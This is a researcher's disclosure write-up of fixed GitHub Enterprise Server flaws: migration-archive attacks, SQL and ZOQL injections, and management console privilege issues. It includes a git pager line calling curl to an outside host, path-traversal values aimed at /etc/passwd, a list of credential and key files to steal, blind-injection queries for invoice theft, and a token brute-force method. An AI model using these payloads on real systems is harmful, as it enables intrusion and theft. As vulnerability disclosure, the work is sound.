GitHub Enterprise Server vulns

This is the follow up of my previous write up titled GitHub Bug bounty experiences: actions and CLI. I kept looking for GitHub vulnerabilities in my free time, this time focusing on the GitHub Enterprise Server. This article describes my findings, 3 SQL injections, 2 flaws in the management console and 5 issues in repository migration.

GHES has a microservices architecture, deployed as 30+ different containers. The main web application is implemented in Ruby on Rails. The source code can be de-obfuscated easily, making this a grey-box exercise (the Golang and Rust apps are still hard to read).

The vulnerabilities I am describing here were fixed in the following GHES versions: 3.11.1, 3.10.4, 3.9.7, 3.8.12, and 3.7.19. GitHub released these versions end of December, 2023.

Migration

I looked at the repository migration feature first, which is among highlighted focus areas at the official documentation of the bug bounty program. The export process is self-service (when it is configured so), but the import process was designed so that someone with SSH access to GHES executes it over the command line. (And for sake of completeness, this importer is not the same as the GitHub Enterprise Importer that is available on github.com.)

A migration archive is effectively a .tar file, with some json metadata and the git repository itself. I found a bunch of security measures in the implementation (e.g. removal of symbolic links when extracting the archive), so I was under the impression that researching this is welcome, despite only admins can initiate the process.

In a nutshell, the import process looks something like follows:

• the tar file is uploaded by an admin to the GHES instance
• the admin executes a couple of ghe-migrator commands on the shell
• the ruby implementation of the importer is executed as the git user
• it extracts the tar file to a temp directory

…then for each repo it contains, the following steps are executed:

• it creates a new repo entry in the db and initiates the corresponding bare repo on the storage
• it processes the metadata json objects (various model files are processed/imported)
• it rsyncs the git objects and some additional files to the destination repo

I identified 4 flaws here, all of them were reported in August, 2023:

#1 Bare repo confusion (2109016)

The Git technology supports two types of repositories:

• bare (when config, objects and other files are in the root of the repo)
• non-bare (when .git subdirectory is present).

The git CLI defaults to using non-bare repositories. Furthermore, when bare and non-bare files are mixed, the git CLI treats the repository as non-bare. Babeld ignores the .git subdirectory, even when it is present.

After an archive was extracted to a temp directory, the contents of the repository were then rsynced to the final location (repo’s internal_remote_url). With the exception of the following files:

RSYNC_IMPORT_EXCLUDES = %w(/hooks /config /info /description /commondir).map(&:freeze).freeze

However, the .git subdirectory was not. An attacker could craft a malicious migration archive, which was interpreted by babeld and the git CLI differently. The attacker had full control over the git config (.git/config) and also the hooks (.git/hooks). For example, after adding the following pager to the .git config:

pager = X=$(curl — silent http://gcpexp.duckdns.org/configproof &) more

Running the git CLI (either by an admin or some background jobs) could execute commands:

$ ghe-repo irsleorg/first
$ git log
pwned:)

#2 Unrestricted git_url (2110693)

Repositories were migrated with the help of the rsync -av ... command (both for import and export). Models of various assets (like a repository) were expressed as a json document. For example, metadata of repositories included in a migration archive could be found in a file called repositories_000001.json. It included a field called git_url and points to a directory inside the tarball. It typically looked like this:

“git_url”: “tarball://root/repositories/orgname/reponame.git”

Consider a path traversal attack via a crafted a migration archive where git_url was modified to this:

“git_url”: “tarball://root/../../../../../../../data/user/repositories”,

GitHub Enterprise Cloud detected this attack and threw the following error message: “ERROR — Path traversal detected”. However, the same validation was not present at Github Enterprise Server, so importing the archive succeeded and the internal git repo was populated with all directories/files of /data/user/repositories:

After such an import, the attacker could have downloaded this mass-populated repo in a self-service manner.

This attack vector could also be used to steal sensitive files (e.g. the password of the MySQL server).

#3 File level path traversals (2110995)

Archives were extracted to a temp directory using the function extract_archive, then the following post-processing steps were executed:

• check_repositories_permissions: this one verified whether directories under the repositories subdirectory are readable or not
• recursively_rm_symlinks: removed symbolic links —based on Dir.glob and File.symlink?

There were two further helper functions to open files from this temp directory:

• read_from_archive: featuring yet another security measure against symbolic links and path traversal attacks, based on File.expand_path.
• read_file_from_archive: effectively a File.join + File.open combo without any security measures

The first/secure one (read_from_archive) was used almost everywhere, with the exception of the migration class called repository_file. I didn't find any documentation about it (like how to upload or publish one via the web interface or through the APIs). Anyway, the URL pattern of repository files looked something like this:

https://github.com/irslorg/pr-toctou56/files/12335006/foo.zip

The importer implemented in repository_file_importer.rb called read_file_from_archive with an attacker controlled input.

An attacker could craft a malicious migration archive using one of the following attack vectors:

#1 file_url has .. path component in the string: tarball://root/repository_files/../../../../../etc/passwd

#2 file_url looks legit (tarball://root/repository_files/model/passwd) but model is a symbolic link that points to /etc. The repository_files subdirectory has 0311 file permissions.

#3 file_url is legit: tarball://root/repository_files/model/foobar but foobar is a symbolic link that points to /etc/passwd. The repository_files subdirectory has 0311 file permissions.

All three of these attacks fail against Github Enterprise Cloud (remember, where Github Enterprise Importer, a different microservice is responsible for the imports). When file_url contains .. (attack vector #1), we encounter the error message: ERROR — Path traversal detected. In the case of the symlink attacks, we get: ExtractAndLoadAttachmentsResumableJob: Attachment with url https://github.com/irslorg/pr-toctou3/repositoryfiles/tag/foobar could not be loaded: There was no attachment file found for this resource.

However, all these attacks worked against the Github Enterprise Server. The attacker had the chance to access the following sensitive files with this approach (the import process had read access to them and they don’t have any moving parts in their filenames):

• /alloc/logs/: past log lines emitted by this container (nomad)
• /data/user/common/enterprise.ghl: the license of the GHES instance
• /data/user/common/saml-sp.p12: some SAML related key/cert
• /home/git/.ssh/id_ed25519: the git-ssh-key private key that can be used to connect to git storage backend hosts
• /github/log: log files of various GHES services, including exceptions and authentication info
• /etc/github/configapply.json: GHES settings including mysql password
• /home/admin: any files created with default umask

#4 Attacker controlled Marshal.load (2118035)

There were two more special files inside the root directory of repositories: language-stats.cache and stacks-stats.cache. The attacker had full control over these two files during the import. They were processed by the github-scout gem; see lib/cache_helper.rb:

Using opensnoop and forkstat on GHES 3.9.1 while pushing a commit to this repo, we see where the scout codebase was executed. It was an asyncronous post-processing job:

These commands were executed inside the resqued container.

Neither Rails, nor the github/github codebase was loaded here. I found a relatively recent pure Ruby gadget chain here: https://devcraft.io/2022/04/04/universal-deserialisation-gadget-for-ruby-2-x-3-x.html. At this point, this was solid proof about scout’s Marshal.load call being accessible with attacker controlled input. Per the official Ruby docs: "Never use Marshal.load to deserialize untrusted or user supplied data."

I did not find any public exploits against the recent version of Ruby running on GHES 3.10 and the scout/linguist libs didn’t seem to offer useful classes for an attack. However, GHES 3.7 (which was still a supported version at the time of reporting), leveraged Ruby 3.1.1, and the gadget chain described in the article above was working flawlessly — allowing to execute any shell commands.

The response

The first vuln (git bare confusion) was accepted quickly (in a few days). I submitted the next 3 soon after (in 2 weeks). To my surprise, those reports were rejected: the Github triager claimed they do not consider attacks starting from a crafted archive as a valid attack vector. So why did they at the first? This is what I responded:

“I understand GHES was designed so that it is the admin of the instance who carries out migrations manually. Since migrations is among the focus areas, I was under the assumption that reports about attacks that are started from a malicious archive are welcome. Rereading your docs, I see you expect that the user must have full access to both the source and the destination instances and therefore starting from a handed-over archive is excluded from the scope.

Did you consider the following setup in your threat model?:

The victim user has admin access to both the source and the destination GHES instances. The attacker has admin access to the source instance. The attacker could simply modify the ghe-migrator script to return a malicious archive.

To be more concrete, think about a corporation that has acquired a small company. Both of them have a GHES instance and the corporation wants the acquired small company’s GHES instance to be migrated into theirs. The corporation is about to grant organization owner role to the original admins of the small company’s GHES instance.

This setup is completely in line with your playbooks/documentation, does happen in real life, and a successful attack definitely crosses a security boundary. The attack described here could be mounted by a rogue GHES admin of the small company by:

- adding the SSH key of the victim admin to the source instance

- modifying the ghe-migrator script to generate a malicious archive

…

My point is: secure migration in the context of GHES should consider migration archives as potentially hostile.”

We had some more rounds back and forth. They even asked me to provide a modified ghe-migrator script that returns a malicious archive. It is a super simple shell script wrapper around the Ruby implementation, so modifying it to return something else instead of the legitimate is a no-brainer — frankly speaking I still don’t get why I was asked to do that. Anyway, after around a month of silence the other 3 submissions were accepted as well.

Later on, I was notified about the reward: they classified these issues as low severity. Still, regardless the prerequisites and the impact were the very same for all of them, one of the reports got a lower amount than the others. I followed up and asked why, but got no response at all. Then the next surprise came at end of October, when GHES 3.10.3 was released. Among the notes, I read:

“HIGH: Due to an incorrect permission assignment for some configuration files, an attacker with access to a local operating system user account could read MySQL connection details including the MySQL password. GitHub has requested CVE ID CVE-2023–23767 for this vulnerability.”

This description was suspiciously referring to one of my reports. I cross checked the diffs between the GHES versions and indeed!

The advisory quoted above from the release notes is about configapply.json. Before upgrading to 3.10.3:

admin@ggithub-duckdns-org:~$ ls -la /etc/github/configapply.json

-rw-r — r — 1 root root 10860 Oct 26 07:48 /etc/github/configapply.json

After upgrading to 3.10.3:

admin@ggithub-duckdns-org:~$ ls -la /etc/github/configapply.json

-rw-rw — — 1 admin admin 10860 Oct 26 11:54 /etc/github/configapply.json

It was me, who originally reported this flaw in #2110995 (on August 18), so the questions arose:

• why didn’t they credit this finding to me?
• why didn’t they reward accordingly (low+high instead of low)?

As you can guess, I was not really happy. :) It was time to complain again. In order to not get ignored, I filed a new ticket.

#5 Local privilege escalation via the Nomad API (2227258)

After quoting the line from the release notes, I added:

“This is quite surprising, as I personally believe it is impossible to protect this security boundary properly. Also, there are traces that imply GHES was not designed with this boundary in mind. However, it is your product, so I accept your threat model and now there is a documented precedent that you aim to protect it at this level.”

Then, I reported one more way accessing the MySQL password as a non-privileged operating system user:

This is Nomad’s admin API interface, which is configured to serve requests without authentication (no ACLs, tokens, mTLS certificates, etc.). It is also possible to create or modify tasks, etc. All the containers use the host’s network namespace, so this could also be used to escape from containers. In other words: for now, the nice microservice architecture of GHES is just about packaging, the whole system is effectively running as root.

I also asked them here why #2110995 and #2110693 were rewarded differently, despite the requirements and the impact of the attacks were the very same.

The second response

They finally got back to me after about a week: “In short, CVE-2023–23767 was mistakenly published and we have rejected it as of this morning.” From security point of view, this was definitely the right call to make here. In line with that, they rejected the Nomad finding as well.

To answer my other question about the different reward amounts, they asked for one more week, but responded only the day after the next GHES release: “Upon further review we have validated that the exploitability differences that led to the lower award on this report were inaccurate.” I asked the clarification originally on Oct 8, it was finally resolved on Dec 22.

SQL injections

GHES (actually just like Github.com) uses MySQL as the backend database. While browsing the codebase, I noticed that the Rails application heavily relied on string interpolation at constructing SQL queries. The ones I saw originally did validate their inputs strictly. Still, knowing this approach is error prone, I decided to review them one by one.

#6 OSPO insights (2146165)

I found the function issue_where_clause implemented in app/controllers/orgs/insights_controller.rb was vulnerable to SQL injection. This function was used by ospo_issue_trend_data and ospo_issue_ttr_data:

These functions were exposed via gunicorn API methods /orgs/:orgname/insights/org_issue_trend_data and /orgs/:orgname/insights/org_issue_ttr_data. This functionality depended on the the ospo_insights_enabled feature flag being enabled on the organization level. ACL-wise, any members of such an organization could mount this attack.

I didn’t mind testing a feature behind a flag — it may be an alpha feature that is not yet globally rolled out. Companies usually welcome security reports about features not GA yet.

Corresponding public facing docs of OSPO:

https://github.com/github/github-ospo/blob/main/docs/org-metrics-dashboard.md

https://docs.github.com/en/early-access/insights/organization-metrics-dashboard

I did not have access to an organization with this feature enabled on Github.com, but I could verify this finding on GHES by flipping the flag for my test organization:

Then to inject SQL, one could:

For the record, the SQL expression after the injection looked like this (note the bold piece):

SELECT CAST(CAST(DateKey/100 AS VARCHAR(10)) + ‘-’ + CAST((DateKey%100) AS VARCHAR(10)) + ‘-’ + CAST((01) AS VARCHAR(10)) AS DATETIME) AS Date , SUM(IssueEvent) as IssueCount , State FROM ( SELECT d.YearMonth as DateKey, d.DateKey as Actualdate, 1 as IssueEvent, CASE WHEN (d.DateKey < COALESCE(I.ClosedDateKey, d.DateKey + 1)) THEN ‘Open’ ELSE ‘Closed’ END as State FROM Issue I INNER JOIN Date d ON I.CreatedDateKey < (d.DateKey + 1) JOIN Repository r ON I.RepositoryId = r.RepositoryId WHERE r.Active = 1 AND r.[Public] = 1 AND d.DateKey BETWEEN AND AND r.AccountId = 5 AND I.RepositoryId IN (arbitrary-string-here) ) AS OspoTrends WHERE DateKey = Actualdate GROUP BY DateKey, State ORDER BY DateKey

The ticket I filed was triaged in no time. However, the response was unexpected:

“We have reviewed your report and determined that it does not present a security risk. This feature is being deprecated as of a few days ago. The feature was in private beta mode and the team has decided a few weeks ago to sunset and discontinue the project.”

Anyway, where there is a SQL injection, there are more. I kept looking.

#7 Advanced Security (2148896)

The Secret scanning feature of Advanced Security supports trend charts. This is controlled by an organization level feature flag called security_center_secret_scanning_trend_chart. The implementation behind supports various filtering mechanisms. The Rails controller was: Orgs::SecurityCenter::SecretScanningController. The module that invoked the filters: SecurityCenter::Insights::SecretScanningQueryService The corresponding routes were:

org.get "/security/alerts/secret-scanning/chart", to: "orgs/security_center/secret_scanning#chart", as: :security_center_alerts_secret_scanning_chart org.get "/security/alerts/secret-scanning", to: "orgs/security_center/secret_scanning#index", as: :security_center_alerts_secret_scanning

Now take a look at the filter SecretScanningAlertSnapshot::BySecretType (by_secret_type.rb):

As you can see, the IN / NOT IN SQL expressions were built with simple string interpolation. Runtime type checking allowed string inputs as these slags. No validation/sanitization was present anywhere.

Just like the previous, this one was also behind a feature flag, so I couldn’t test it on Github.com. After confirming the injection on my GHES sandbox environment, I filed a ticket. I don’t know what the odds are, but the response was the same:

“We’ve investigated your report and can confirm that this has the same outcome as #2146165. It was behind a feature flag for organizations to enable if they’d like to test the functionality but is being deprecated and is in process of being removed. This work was already underway prior to the receipt of this report and no new action is being taken as a result.”

Anyway, where there are two SQL injections, there must be more! So I kept looking.

#8 ZOQL (2174114)

I found the next “SQL” injection in zuora_invoice.rb. We see:

Looks like a straight forward SQL, doesn’t it? However, as I learned, this wasn’t actually SQL. Github.com issued invoices with the help of a third party service called Zuora. Zuora supported an SQL-like syntax to query and manage data (including invoices). This language is called Zuora Object Query Language (ZOQL). It is extremely limited; no joins, no unions, no functions and the injection point is in a WHERE expression filtering the invoices table.

This attack primitive still offered a way to exfiltrate data from the invoices table. There were two interesting fields, Comments and Body. Body was the base64 encoded payload of the invoice pdf.

The ZOQL expression executed in the invoice_for_number function may return multiple hits, but the Ruby function returned only the first one. Then, require_invoice verified whether the caller has access to the invoice.

Assuming the attacker had access to one invoice in a legitimate way with invoice number INV-legitimate-access and wanted to access the invoice of someone else (invoice number INV-to-exfiltrate). In this example, the base64 Body string of INV-to-exfiltrate begins with the text cd. The attacker could send a batch of queries iteratively with the following ZOQL expressions:

• The attacker iterates over the potential alphabet and monitors the response. For the first two requests, INV-legitimate-access would be returned.

select Id from Invoice where InvoiceNumber = ‘INV-to-exfilterate’ and Body LIKE ‘a%’ or InvoiceNumber = ‘INV-legitimate-access’

select Id from Invoice where InvoiceNumber = ‘INV-to-exfilterate’ and Body LIKE ‘b%’ or InvoiceNumber = ‘INV-legitimate-access’

Then while testing prefix c:

select Id from Invoice where InvoiceNumber = ‘INV-to-exfilterate’ and Body LIKE ‘c%’ or InvoiceNumber = ‘INV-legitimate-access’

The service would have returned error 404 instead of success (since the attacker had no access to INV-to-exfilterate). This indicated the Body began with letter c. The attacker could proceed to the next byte:

select Id from Invoice where InvoiceNumber = ‘INV-to-exfilterate’ and Body LIKE ‘ca%’ or InvoiceNumber = ‘INV-legitimate-access’ select Id from Invoice where InvoiceNumber = ‘INV-to-exfilterate’ and Body LIKE ‘cb%’ or InvoiceNumber = ‘INV-legitimate-access’

select Id from Invoice where InvoiceNumber = ‘INV-to-exfilterate’ and Body LIKE ‘cc%’ or InvoiceNumber = ‘INV-legitimate-access’

For these, HTTP 200 would have been returned. Then for prefix cd:

select Id from Invoice where InvoiceNumber = ‘INV-to-exfilterate’ and Body LIKE ‘cd%’ or InvoiceNumber = ‘INV-legitimate-access’

The attacker would get an error 404 again, so they could proceed to the next byte. This could be repeated until the full Body was extracted. I did not implement a PoC for this as I didn’t have access to any organizations with billing enabled.

This submission was rejected (out of scope), but a small amount was rewarded regardless.

SQL conclusion

I reported the SQL injections #6 and #7 in the middle of September. I took a look again end of October at the next GHES release cycle; the vulnerable code was still present the very same way.

Management console

GHES features a low-level admin panel called “the management console”. This is where the most essential config could be tweaked, e.g. authentication details or S3 credentials for object storage. It was listening on port 8443.

The management console supported the concept of users with 3 permission levels.

#9 Low entropy invite tokens (2197801)

Getting a new account on the management console was invitation based; the invitation link was usually sent out in email. The invitation link itself was protected by a token, that was generated in lib/manage/db.rb:

# generate user hash based on email address and 2 random digit or lowercase letter

args[:user_hash] = Digest::SHA256.hexdigest(args[:email]+rand(36**2).to_s(36)).to_s[0, 10]

As you can see in the formula, the overall number of total combination of random suffixes was 36² = 1296. An attacker knowing the email address of a pending user creation, could brute force the right token in matter of minutes in a single thread. The method was not protected by any rate limiting.

This submission was accepted with medium severity; CVE-2023–46648 was assigned.

#10 Editor to site admin EoP (2197796)

The Management console supported user roles with the following privilege levels from highest to lowest:

• site administrator
• operator
• editor

This is documented here. Based on this article, highlighting the following two security features:

- “For heightened security, Management Console users cannot create or delete Management Console user accounts.”

- “Only Management Console users with the operator role can manage SSH keys.”

The Manage:App Rails controller featured a method post "/start" (implemented in app.rb), which was accessible by both editors and operators (and of course by site admins as well). This method allowed changing the license of the deployment and also resetting the site admin password.

As such, this method allowed a malicious/compromised editor account to escalate their privileges to site admin.

Wrt. the mandatory license parameter: An editor could download the current license file by generating a support bundle (Support menu at the top). The license file could be found inside the metadata subdirectory of the support bundle.

This report was accepted with High severity; CVE-2023–46647 was assigned. Frankly speaking, I still don’t really understand what the business driver is here. From security point of view — at least in my opinion — , an editor is effectively the same as a site admin, everything else is just obscurity. Anyway, since this one, I reported one more vuln where an editor could execute arbitrary commands on the instance (CVE-2024–0507).

Summary

As you can see, the bug bounty business is nothing, but easy, but pays off —same for both sides. Reporting these issues opened the doors to the GitHub VIP program for me. But most importantly, I finally learned what is behind the mysterious exclusive swag pack! :)